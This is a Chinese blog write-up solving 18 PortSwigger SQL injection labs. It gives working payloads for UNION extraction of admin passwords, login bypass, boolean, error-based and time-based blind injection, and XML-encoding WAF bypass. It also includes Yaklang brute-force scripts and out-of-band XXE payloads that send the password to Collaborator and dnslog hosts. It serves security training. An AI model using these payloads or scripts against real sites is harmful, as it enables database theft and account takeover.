本篇是BurpSuite靶场的第一篇,这里共有18个实验,涉及多种数据库和注入手法。这个做完了,可以去玩一玩SQLi-Labs,量大管饱,但是只有MySQL数据库,并且最后更新已经是11年前了。
在学习SQL注入之前,必须学会SQL语句(菜鸟教程),这里是几个在线的SQL练习网站:
Lab 1
SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
直接拼接语句,注意特殊字符需要编码,当然全编码也是可以的
1Gifts' or 1=1 --
Lab 2
SQL injection vulnerability allowing login bypass
1username=administrator'--&password=1
Lab 3
SQL injection attack, querying the database type and version on Oracle
查询Oracle数据库类型与版本的SQL语句为
1SELECT banner FROM v$version
但是直接union查询会报错,Hint中给了一个查询语句:UNION SELECT 'abc' FROM dual
但是这个也会报错,这是在提示我们。这个是因为UNION联合查询需要前后语句查询的列数相同。所以需要知道原先语句查询的是几列。
这里使用order by函数进行测试,order by意思是按照某列进行排序,所以思路就是逐列测试。order by后可以写列名也可以写列的序数。
按第一列排序:Gifts'+order+by+1--
,按第二列排序也能输出。但是按第三列排序却报错。说明没有第三列,只有两列。
那么UNION后句补充一个列就好了,可以使用null作为占位符
1'+UNION+SELECT+Banner,NULL+FROM+v$version--
占位符随意,比如114514
Lab 4
SQL injection attack, querying the database type and version on MySQL and Microsoft
过滤了--
,可以用#
注释语句,判断列数同上,这里直接写查询数据库的语句
1'union+select+@@version,null#
查询MySQL与Microsoft数据库除了SELECT @@version
,还有SELECT version()
,所以也可以写为
1'union+select+version(),null#
注意编码,最好全编码,否则直接写到浏览器url可能报500
Lab 5
SQL injection attack, listing the database contents on non-Oracle databases
这个实验很重要,是注入的思路,以Mysql和PostgreSQL为例。这些数据库有个默认的数据库information_schema
,这个数据库中存储了许多关键数据,比如SCHEMATA
表中存储了所有的库名,TABLES
表中存储了所有的表名和所属库名,COLUMNS
表中存储了所有列名和所属表名、库名。建议自己安装个数据库,操作一下看看具体结构。
这题的通关条件是登录administrator账号,注入点不在登录页,这题都说了从其他表检索数据。
注入点仍然是之前的category,思路就是
- 查询库名,找到可疑的库
- 条件查询表名,找到可疑的表
- 条件查询列名,找到可疑的列
- 精确查询数据
为了良好的可读性,这里使用{{urlenc( )}}
自动url编码,可以在括号里直接写SQL语句。
首先category注入点查询库名:
1{{urlenc(' union select schema_name,null from information_schema.schemata-- )}}
回显:public、information_schema、pg_catalog,非常明显public是可疑库,因为另外俩是系统默认库
查询public库中所有表名:
1{{urlenc(' union select table_name,null from information_schema.tables where table_schema='public'-- )}}
回显:users_sqjdbv、products,一眼就知道users_sqjdbv是用户表
查询users_sqjdbv中的所有列名:
1{{urlenc(' union select column_name,null from information_schema.columns where table_name='users_sqjdbv'-- )}}
如果遇到不同库中有表同名,那么这样查询会显示混在一起的列名,所以也可以加上库名条件,精确查找列名:
1{{urlenc(' union select column_name,null from information_schema.columns where table_name='users_sqjdbv' and table_schema='public'-- )}}
回显email、password_xraxke、username_hgvoch
这里就已经有存储账户密码的列名了,可以进行精确查找了
查询数据:
1{{urlenc(' union select username_hgvoch,password_xraxke from public.users_sqjdbv-- )}}
回显: wiener m7gvc8iza7sxmxzg3kve carlos 89d9ydq8b7kk4tus7v9f administrator 8lrmdb56161fquczwkip
使用administrator 8lrmdb56161fquczwkip登录即可过关
Lab 6
SQL injection attack, listing the database contents on Oracle
题干说的清楚,类别过滤器是注入点,从那里查询administrator密码
先礼貌问候一下列数:
{{urlenc(Gifts' order by 1,2-- )}}
正常回显,{{urlenc(Gifts' order by 1,2,3-- )}}
报错,说明没有三列,只有两列。order by 1是按照第一列排序,order by 1,2是当第一列数据相同时,按照第二列数据排序,以此类推,所以这样判断列数。后面不再重复列数判断步骤。
查数据库版本:{{urlenc(' union select banner,null from v$version-- )}}
,回显是Oracle数据库,这个时候就可以去查Oracle的默认库结构了。以便后续注入。
Oracle注入可以学习一下Y4er的文章:https://y4er.com/posts/oracle-sql-inject/
同时建议,自己搭建个Oracle摸索摸索,我Windows笔记本折腾半天Docker Desktop安装Oracle就是无限启停,还是用官方的在线Oracle吧:http://livesql.oracle.com
查询当前用户:
1{{urlenc(' union SELECT user,null FROM dual-- )}}
回显Peter
查询当前用户有权限的表:
1{{urlenc(' union SELECT DISTINCT owner, table_name FROM all_tables-- )}}
回显很多,其中有PETER PRODUCTS、PETER USERS_EALGQZ。一眼丁真!就是可疑的数据库
查询列名:
1{{urlenc(' union SELECT column_name,null FROM all_tab_columns where table_name='USERS_EALGQZ'-- )}}
回显:EMAIL、PASSWORD_RAOMLC、USERNAME_BNPYTJ
这里我复制表名复制错了,后面查数据一直报错,我真蠢
查询数据:
1{{urlenc(' union SELECT USERNAME_BNPYTJ,PASSWORD_RAOMLC FROM Peter.USERS_EALGQZ-- )}}
回显:administrator dkz5nikhi570pk03v7dw
Lab 7
SQL injection UNION attack, determining the number of columns returned by the query
1{{urlenc(' order by 4-- )}}
Lab 8
SQL injection UNION attack, finding a column containing text
判断出是3列,使用{{urlenc(' union select version(),null,null-- )}}
或@@version
或SELECT banner FROM v$version
都报错。刚开始以为是不知道哪个数据库。
后来尝试使用{{urlenc(' union select null,null,null-- )}}
发现没报错,说明from可疑省略,那么一定不是Oracle数据库,那就从MySQL、PostgreSQL、Microsoft中测试,恰巧他们的查询版本都是很相似的,又因为题干说了要确定列的值类型。那么明显考察的是回显要符合字段类型的知识。
比如第一列类型是bool,但是你查询的是varchar,那么就会报错。这题我们测试到第二列可以输出版本。
1{{urlenc(' union select null,version(),null-- )}}
PostgreSQL 12.20 (Ubuntu 12.20-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit
1{{urlenc(' union select null,schema_name,null from information_schema.schemata-- )}}
public、information_schema、pg_catalog
1{{urlenc(' union select null,table_name,null from information_schema.tables where table_schema='public'-- )}}
products
1{{urlenc(' union select null,column_name,null from information_schema.columns where table_name='products'-- )}}
name、description、image、id、rating、category、price、released
查不出来东西,我以为库里有个数据包含了题目给的那个字符串,没想到让直接输出那个字符串,于是直接写
1{{urlenc(' union select null,'eUEzNY',null-- )}}
不加引号算列名,加了就是显示字符串
Lab 9
SQL injection UNION attack, retrieving data from other tables
两列
PostgreSQL 12.20 (Ubuntu 12.20-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit
这题很常规,publics库,users表,username、password字段
1{{urlenc(' union select username,password from public.users-- )}}
administrator n1skvb3sntodavtn0jem
Lab 10
SQL injection UNION attack, retrieving multiple values in a single column
单列检索多个值,学习新知识,但首先我们要确定数据库版本
1{{urlenc(' union select null,version()-- )}}
PostgreSQL 12.20 (Ubuntu 12.20-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit
常规步骤即可
知识点:使用字符串连接函数(如 CONCAT
、GROUP_CONCAT
)将多个字段或查询结果拼接成一个字符串。
1. 使用 CONCAT
横向拼接(单行多值)
1SELECT col1, col2, col3 FROM original_table
2UNION
3SELECT 1, CONCAT('Version:', version(), ', User:', user()), 3;
- 结果:第 2 列显示类似
Version:8.0.30, User:root@localhost
的字符串。
2. 使用 GROUP_CONCAT
纵向聚合(多行合并为单行)
1SELECT col1, col2, col3 FROM original_table
2UNION
3SELECT 1, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables), 3;
- 结果:第 2 列显示所有表名的逗号分隔字符串,如
users,products,orders
。
这题第一个字段无法输出username或password,只有第二个字段可以,但是分两次注入麻烦,而且数据多了还不好直观发现账号所属密码。所以这里使用concat
函数,将两列数据合并为一列数据,中间用~
分隔,输出到第二列中。
1{{urlenc(' union select null,concat(username,'~',password) from public.users-- )}}
administratorihq283h8spfiphz9sgzr
wienerdsh8zen6pskpecisl6ju
carlos~1l8zrm4ve3ch6ighrpsl
你也可以展开库、表、列的对应关系
1{{urlenc(' union select null,concat(table_schema,'~',table_name,'~',column_name) from information_schema.columns where table_name='users'-- )}}
publicusersusername
publicuserspassword
publicusersemail
Lab 11
Blind SQL injection with conditional responses
报错注入,这题没有回显,查询行只有Welcome back
的消息,查询失败则没有回显,所以执行一些语句,通过消息是否回显来判断语句是否正确,比如猜测库名长度为5,不对就写6,知道测试出长度,然后逐个判断字母,这个工作量很大,一般都是写脚本。
点击任何一个分类,可以看到右上角有个welcome back
在category测试后没发现注入点,题干说了cookie,那就从cookie入手
在cookie值后加一个'
,如TrackingId=gG7dkxOsglrzOpj8';
没有回显,说明单引号影响了内部sql执行,这个语句使用单引号闭合。后面衔接逻辑语句:
1TrackingId=gG7dkxOsglrzOpj8' and 1=1-- ;
有回显
1TrackingId=gG7dkxOsglrzOpj8' and 1=2-- ;
无回显
后面可以加判断语句
题干说了users表,那我们测试一下有没有这个表
1TrackingId=gG7dkxOsglrzOpj8' and (select 'a' from users limit 1)='a'-- ;
有回显,说明有这个库,如果觉得打注释麻烦,也可以写为
1TrackingId=gG7dkxOsglrzOpj8' and (select 'a' from users limit 1)='a;
少写个引号,因为可以和后台的引号成对
测试是否有administrator
用户
1TrackingId=gG7dkxOsglrzOpj8' and (select 'a' from users where username='administrator' limit 1)='a'-- ;
存在此用户,那么暴破密码长度
这里使用length函数,这个函数返回字符串的长度
1TrackingId=gG7dkxOsglrzOpj8' and (select 'a' from users where username='administrator' and length(password)>1)='a'-- ;
逐个测试长度,这里使用Yakit的标签,使其在设置的范围内发包:
1TrackingId=gG7dkxOsglrzOpj8' and (select 'a' from users where username='administrator' and length(password)>{{int(1-16)}})='a'-- ;
可以看到,Yakit右边发了很多包,但这个是并发的,顺序并不是从1到16。所以点一下右边表头里的Payloads旁边的顺序图标,让他按照Payloads排序。可以明显看到,payload为20时返回值不一样,>19有回显,>20无回显,说明密码长度刚好是20。
使用substr函数截取第一个字符并逐个判断
密码用到的字符有[0-9],[a-z],[A-Z],以及()`\!@#$%^&*_-+=|{}[]:;'<>,.?
这里语句写为
1TrackingId=gG7dkxOsglrzOpj8' and (select 'a' from users where username='administrator' and substr(password,1,1)='{{regen([0-9a-zA-Z()`!@#$%^&*_+=|{}[\]:;'<>,.?/\\-])}}')='a'-- ;
不过何必在where里判断字符,直接放到前面去,写成
1TrackingId=gG7dkxOsglrzOpj8' and (select substr(password,1,1) from users where username='administrator')='{{regen([0-9a-zA-Z()`!@#$%^&*_+=|{}[\]:;'<>,.?/\\-])}}'-- ;
这里有许多转义,如果碰到复杂的,也可以直接插入字典
按响应大小排序,可以看到有一个值明显不同,页面也有回显,那么对应的payload就是密码第一个字符
注意有一些包发送错误或者没有成功回显的,是因为并发太高靶场受不了,还有就是有的字符类型无法接受,重新发包
测试第2个字符,你可以写substr(password,2,1)=……
,但是这还要记住之前的字符,然后逐一累加。我这边就直接
1TrackingId=gG7dkxOsglrzOpj8' and (select substr(password,1,2) from users where username='administrator')='y{{regen([0-9a-zA-Z()`!@#$%^&*_+=|{}[\]:;'<>,.?/\\-])}}'-- ;
提取2个字符,但是在匹配的条件那里把上一次查到的字符写上去,让它只暴破第二个字符就好,等暴破到最后就能直观的看到完整密码。当然也可以写脚本,二分法的脚本会更快,字符通过
得到20位密码:yr19j3bxshqthozbr4hp
提供一个二分法暴破密码脚本:
此脚本使用Yaklang,写得比python快,而且更简洁,没那么多库的导入,如果遇到proxy等等报错,请关闭梯子。遇到网络错误,就是靶场崩了,重新执行脚本。
1// 填写你的Cookie和url,如下
2TrackingId:="1SCB2aQ5cI7UADQw"
3session:="NUkLsggXlfoFnsH6JVGUexy4ZRctCrlz"
4url:="https://0ab400f4047133958334b44e00110003.web-security-academy.net/"
5
6results=""
7for pos := 1; pos < 21; pos++{
8 low=32
9 high=126
10 mid=(low+high)/2
11 for low<high{
12 payload:=sprintf(f`TrackingId=${TrackingId}' and (select ascii(substr(password,${pos},1)) from users where username='administrator')>${mid}-- ;session=${session}`)
13 rsp, req = poc.Get(url, poc.appendHeader("Cookie",payload))~
14 if rsp.getBody().Contains("Welcome back!") {
15 low=mid+1
16 }else{
17 high = mid
18 }
19 mid=(low+high)/2
20 }
21 results+=chr(mid)
22 println(results)
23}
这靶场太拉跨了,每次运行都崩,所以崩了就重新运行脚本吧,而且经常网络报错。破解密码长度不建议用脚本,因为用yakit一键就出来,写脚本反而费事。
Lab 12
Blind SQL injection with conditional errors
先摸索一下Oracle语法,到livesql.oracle.com新建一个表:
1drop table apt;
2create table apt(id number(30),name varchar2(16),function varchar(30));
3insert into apt values(1,'Zhao','Penetration-Testing');
4insert into apt values(2,'Qian','Lateral Movement');
5insert into apt values(3,'Sun','Bypass Antivirus');
6insert into apt values(4,'Li','Data Dump');
执行下面,能发现oracle对语句进行了逻辑判断
这里末尾用单引号闭合会报错,还是用注释吧
1select function from apt where name='Zhao'and 1=1-- '
1select function from apt where name='Zhao'and 1=2-- '
改成'a'='a'
、'a'='b'
也能执行逻辑。
但是写在cookie里却不行,猜测是后台的比对位置不在where,过滤的可能性不大,因为过滤不属于这种初级靶机
这里扩展知识点:||
- 作用:
||
是 Oracle 的字符串连接运算符,用于拼接字符串或表达式结果。 - 例如:
'abc' || 'def'
结果为'abcdef'
。
我们在语句后面加个空字符串,拼接后不影响字符串,如:
最最重要的是||
是可以拼接子查询写逻辑语句的,倘若逻辑正确就返回空字符串,不影响查询结果,逻辑不对就返回错误
语句如下:
1SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN NULL ELSE TO_CHAR(1/0) END FROM dual
子查询需要用括号包裹
我们在环境里测试下面:
1select function from apt where name='Zhao'||(SELECT CASE WHEN 1=1 THEN NULL ELSE TO_CHAR(1/0) END FROM dual)-- '
1=1
永真,故返回NULL
,不影响前面的Zhao
,语句正常执行。
1select function from apt where name='Zhao'||(SELECT CASE WHEN 1=2 THEN NULL ELSE TO_CHAR(1/0) END FROM dual)-- '
1=2
永假,故返回TO_CHAR(1/0)
,TO_CHAR(1/0)
是 Oracle 数据库中一种故意触发错误的常见技巧,查询报错。也可以使用TO_NUMBER('invalid')
、CAST('invalid' AS DATE)
注入逻辑搭建完成,下面就是判断密码长度,逐个判断字符了
先测试有没有administrator:
1-- 很蠢的测试方法
2TrackingId=p5HxnaauwfflROgB'||(SELECT CASE WHEN (select username from users where username='administrator')='administrator' THEN NULL ELSE TO_CHAR(1/0) END FROM dual)-- ;
1-- 判断返回行数,从而判断有没有administrator
2TrackingId=p5HxnaauwfflROgB'||(SELECT CASE WHEN (select count(*) from users where username='administrator')>0 THEN NULL ELSE TO_CHAR(1/0) END FROM dual)-- ;
1-- 通过exists判断,exists函数判断子查询是否存在,存在返回真,不存在返回null,否则触发错误
2TrackingId=p5HxnaauwfflROgB'||(SELECT CASE WHEN exists(select * from users where username='administrator') THEN NULL ELSE TO_CHAR(1/0) END FROM dual)-- ;
先判断是否存在users表:
1TrackingId=p5HxnaauwfflROgB'||(SELECT CASE WHEN exists(select * from users) THEN NULL ELSE TO_CHAR(1/0) END FROM dual)-- ;
判断列数,使用count:
1TrackingId=p5HxnaauwfflROgB'||(SELECT CASE WHEN (select count(COLUMN_NAME) from user_tab_columns WHERE TABLE_NAME ='USERS')=3 THEN NULL ELSE TO_CHAR(1/0) END FROM dual)-- ;
实际上,上面去掉count就是返回列名,加上where rownum=1就可以返回第一行列名,由于oracle不支持limit语法,让它逐行输出有点麻烦,这里先不写了。遇到暴破列名的再写。
判断是否存在username和password的列名
1TrackingId=p5HxnaauwfflROgB'||(SELECT CASE WHEN exists(select username from users) THEN NULL ELSE TO_CHAR(1/0) END FROM dual)-- ;
1TrackingId=p5HxnaauwfflROgB'||(SELECT CASE WHEN exists(select password from users) THEN NULL ELSE TO_CHAR(1/0) END FROM dual)-- ;
判断administrator密码长度:
1TrackingId=p5HxnaauwfflROgB'||(SELECT CASE WHEN (select length(password) from users where username='administrator')={{int(1-30)}} THEN NULL ELSE TO_CHAR(1/0) END FROM dual)-- ;
20位
判断administrator用户的密码第一位字符
1TrackingId=p5HxnaauwfflROgB'||(SELECT CASE WHEN (select substr(password,1,1) from users where username='administrator')='{{regen([0-9a-zA-Z()`!@#$%^&*_+=|{}[\]:;'<>,.?/\\-])}}' THEN NULL ELSE TO_CHAR(1/0) END FROM dual)-- ;
好了,这就跟上题一样了,写个脚本先:
1// 填写你的Cookie和url,如下
2TrackingId:="ZK2C9o43WxHY0Ccy"
3session:="zMtUFgVidY69HaQ9bEgj0egCs2JQDl5Y"
4url:="https://0ae000fa031181de8337b024008f00cf.web-security-academy.net/"
5
6results=""
7for pos := 1; pos < 21; pos++{
8 low=32
9 high=127
10 mid=(low+high)/2
11 for low<high{
12 payload:=sprintf(f`TrackingId=${TrackingId}'||(SELECT CASE WHEN (select ascii(substr(password,${pos},1)) from users where username='administrator')>${mid} THEN NULL ELSE TO_CHAR(1/0) END FROM dual)-- ; session=${session}`)
13 rsp,req = poc.Get(url,poc.appendHeader("Cookie",payload))~
14 if rsp.GetStatusCode()==200 {
15 low=mid+1
16 }else{
17 high = mid
18 }
19 mid=(low+high)/2
20 }
21 results+=chr(mid)
22 println(results)
23}
Lab 13
Visible error-based SQL injection
基于可见错误的 SQL 注入,这是一个不会显示结果在页面的sql查询,但sql语法有错,会抛出错误。为什么会有这种情况?当然是实际开发中有一些sql用于传输数据,并不是显示给用户看的。而这种注入点要么 fuzz,要么是api泄露
单引号报错 ,加省略正常
TrackingId=aBwEWz4Ph2qZNZHb' order by 1-- ;
正常,order by 2报错,说明只有一列数据
刚才引号报错时,发现显示了报错点和后台sql语句
尝试执行逻辑
1TrackingId=aBwEWz4Ph2qZNZHb' and 1-- ;
报错,提示
1ERROR: argument of AND must be type boolean, not type integer Position: 58
这就能判断出来是PostgreSQL了,因为mysql这种是弱类型,1
会认为是true
永真,而这里把1当成了整数,并没有转换为布尔。类型检查严格,判断数据库是PostgreSQL。
知识点:CAST
是 SQL 中的类型转换函数,它可以将一个数据类型强制转换为另一种数据类型。在报错注入中,我们故意构造类型转换错误,让数据库在报错信息中泄露敏感数据
CAST ( expression AS data_type)
把expression转换为data_type类型,expression可以是一个列名、一个变量、一个字符串常量。
为什么这个既能执行expression,又能报错?expression可以写因为不执行怎么知道expression的类型,源数据类型都不知道怎么转换?
等它执行完表达式,再转换的时候发现无法转换成目标类型,就会报错说源数据是这样:XXXXX,转不了!
现在我们查询版本,但是把版本字符串转换为1
1TrackingId=nYFNRJv78qIXtz23' and 1=cast((select version()) as int)-- ;
回显:ERROR: invalid input syntax for type integer: “PostgreSQL 12.20 (Ubuntu 12.20-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit”
查询用户名
1TrackingId=nYFNRJv78qIXtz23' AND 1=CAST((SELECT username FROM users) AS int)-- ;
报错:Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = ’nYFNRJv78qIXtz23’ AND 1=CAST((SELECT username FROM users) AS’. Expected char
这个报错意思是sql语法结构被破坏,可是这个引号已经闭合,注释符也能用,在刚开始就测试了。
那么原因只有,后台会限制sql语句长度,达到最大长度后给截断了。
我们把原先的TrackingId值删掉,执行语句:
1TrackingId=' AND 1=CAST((SELECT username FROM users) AS int)-- ;
报错:ERROR: more than one row returned by a subquery used as an expression
返回了多行数据,但是cast只接受单行数据,这里我们使用string_agg将多行合并为单行:
1TrackingId=' AND 1=CAST((SELECT string_agg(username,',') FROM users) AS int)-- ;
还是太长 ,使用limit获取第一行
1TrackingId=' AND 1=CAST((SELECT username FROM users limit 1) AS int)-- ;
回显:ERROR: invalid input syntax for type integer: “administrator”
第一行就是用户,那么直接获取密码
1TrackingId=' AND 1=CAST((SELECT passwossrd FROM users limit 1) AS int)-- ;
靶场终归有解,实战中第一行不是管理员怎么办呢,limit row offset 1会被截断的
Lab 14
Blind SQL injection with time delays
现学的,有个师傅写的很好 https://eastjun.top/posts/postgresql/
时间盲注比较常用的函数就是
pg_sleep()
,不过由于它的返回值为null,如果注入点位于where后面,那一定要将其转换为布尔值
所以这里仍然单引号闭合,然后加逻辑语句
1TrackingId=QL6cBxyAEHK8lPvh' and pg_sleep(10) is null-- ;
Lab 15
Blind SQL injection with time delays and information retrieval
能够执行上面那题的paylaod,所以就case when吧
在此之前我们摸索一下postgresql,新建一个:
1DROP TABLE IF EXISTS "public"."stu";
2CREATE TABLE "public"."stu" (
3 "id" int4 NOT NULL PRIMARY KEY,
4 "name" varchar(45) COLLATE "pg_catalog"."default" NOT NULL,
5 "age" int4
6)
7;
8INSERT INTO "public"."stu" VALUES (1, 'Zhao', 24);
9INSERT INTO "public"."stu" VALUES (2, 'Qian', 33);
10INSERT INTO "public"."stu" VALUES (3, 'Sun', 43);
11INSERT INTO "public"."stu" VALUES (4, 'Li', 42);
写个sql:
1select age from stu where name = 'Zhao' and (pg_sleep(5) is null);
这行sql一直不输出,或者输出极慢。因为pg_sleep(5)
是一个函数,它会执行并返回一个结果,而不是直接产生一个值供比较。在 PostgreSQL 中,pg_sleep
的返回值是一个“void”
类型(即没有实际的返回值),但在条件判断中,它不会被视为 NULL
。
慢的主要因素是,它会在查询每一行数据时都进行sleep
这里作布尔比较应该是(select pg_sleep(5) is null);
写个类似靶场的条件语句:
1select age from stu where name = 'Zhao' and (select case when (1=1) then (select pg_sleep(5) is null) else(select pg_sleep(0) is null) end)-- ';
正常延迟输出
测试靶场是否有users表:
1TrackingId=PgY9pwIluFSoqtqC' and (select case when exists(select * from uses) then (select pg_sleep(5) is null) else(select pg_sleep(0) is null) end)-- ';
判断是否存在username列
1TrackingId=PgY9pwIluFSoqtqC' and (select case when exists(select username from users) then (select pg_sleep(5) is null) else(select pg_sleep(0) is null) end)-- ';
判断是否存在administrator用户
1TrackingId=PgY9pwIluFSoqtqC' and (select case when (select 'a' from users where username='administrator')='a' then (select pg_sleep(5) is null) else(select pg_sleep(0) is null) end)-- ';
判断administrator用户密码长度:
1TrackingId=PgY9pwIluFSoqtqC' and (select case when (select length(password) from users where username='administrator')={{int(1-30)}} then (select pg_sleep(5) is null) else(select pg_sleep(0) is null) end)-- ';
延迟久然后返回的就是正确payload,长度20
测试密码第一个字符:
1TrackingId=PgY9pwIluFSoqtqC' and (select case when (select substr(password,1,1) from users where username='administrator')='{{regen([0-9a-zA-Z()`!@#$%^&*_+=|{}[\]:;'<>,.?/\\-])}}' then (select pg_sleep(5) is null) else(select pg_sleep(0) is null) end)-- ';
脚本:
1// 填写你的Cookie和url,如下
2TrackingId:="tS9xclQLWykah3XS"
3session:="EMTfiXYAox90T0nmJAaaHFFtK1wdpdcd"
4url:="https://0a0400d603391cda81011164000f00d3.web-security-academy.net/"
5
6results=""
7for pos := 1; pos < 21; pos++{
8 low=32
9 high=127
10 mid=(low+high)/2
11 for low<high{
12 payload:=sprintf(f`TrackingId=${TrackingId}' and (select case when (select ascii(substr(password,${pos},1)) from users where username='administrator')>${mid} then (select pg_sleep(1) is null) else(select pg_sleep(0) is null) end)-- '; session=${session}`)
13 rsp,req = poc.Get(url,poc.appendHeader("Cookie",payload))~
14 if int(rsp.TraceInfo.ServerTime)>=1000000000 {
15 low=mid+1
16 }else{
17 high = mid
18 }
19 mid=(low+high)/2
20 }
21 results+=chr(mid)
22 println(results)
23}
Lab 16
Blind SQL injection with out-of-band interaction
操,只能用burp的Collaborator服务器,在bp里点一下就行,但是我这是Yakit完成BP的牛头人记录啊。测绘到了一些Collaborator公共服务器,但是没有密钥就没办法轮询。
只能用bp了,这里用速查表的那个语句就行,url那里写Burp Collaborator里复制的地址,注意加http://
:
1SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://bgvdtubm12yohr4f0tyktdt2zt5ktnhc.oastify.com"> %remote;]>'),'/l') FROM dual
请求包里要url编码:
1TrackingId=asEAelVub4RxLizc'+union+SELECT+EXTRACTVALUE%28xmltype%28%27%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE+root+%5B+%3C%21ENTITY+%25+remote+SYSTEM+%22http%3A%2F%2Fbgvdtubm12yohr4f0tyktdt2zt5ktnhc.oastify.com%22%3E+%25remote%3B%5D%3E%27%29%2C%27%2Fl%27%29+FROM+dual--+;
Lab 17
Blind SQL injection with out-of-band data exfiltration
这个就是利用带外进行查询,查询时是可以拼接命令的,比如在dnslog上请求一下:
1dig `whoami`.ke9du2.dnslog.cn
返回
DNS Query Record | IP Address | Created Time |
---|---|---|
tajang.ke9du2.dnslog.cn | XXX.XXX.XXX.XXX | 2025-02-27 00:17:41 |
前面附加了我的用户名
这里同理,语句是:
1SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
请求包里写(已url编码):
1TrackingId=o8cGAQkEU7ZIUli9'+union+SELECT+EXTRACTVALUE%28xmltype%28%27%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE+root+%5B+%3C%21ENTITY+%25+remote+SYSTEM+%22http%3A%2F%2F%27%7C%7C%28select+password+from+users+where+username%3D%27administrator%27%29%7C%7C%27.bfu110u4ree0yu0nz3tpemw9v01rphd6.oastify.com%2F%22%3E+%25remote%3B%5D%3E%27%29%2C%27%2Fl%27%29+FROM+dual--+;
Lab 18
SQL injection with filter bypass via XML encoding
1'
被拦截,1%27
不会,把注释编码后传输没有数据,个人推测是把%27
给删了,输入1+1
有数据,能够数学运算。猜测是数字型注入,不用引号闭合
但是这里对于任何字符都不能输出数据,那就没办法写语句。
这里是xml结构,传输到后台时会进行xml解析。而waf是在后台之前检测的,一般waf不会自己解码再检测。
所以思路就是把语句编码传输,waf检测不到,而后台会把它解析了再执行
要实体编码,可以在线使用:https://config.net.cn/tools/HtmlEncode.html,点击HTML实体编码(16进制)
也可以使用Yakit的{{htmlenc()}}
标签
先输入1 union select null --
,编码传输:
1<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>4</productId><storeId>1 union select null -- </storeId></stockCheck>
或者使用Yakit标签
1<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>4</productId><storeId>{{htmlenc(1 union select null -- )}}</storeId></stockCheck>
正常输出一个null,写俩null时不输出,说明只有一列
那么一起查询账号密码,就需要把行连接起来,使用concat函数不行,尝试||
1<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>4</productId><storeId>{{htmlenc(1 union select username||'~'||password from users-- )}}</storeId></stockCheck>
得到密码
SQL注入篇完结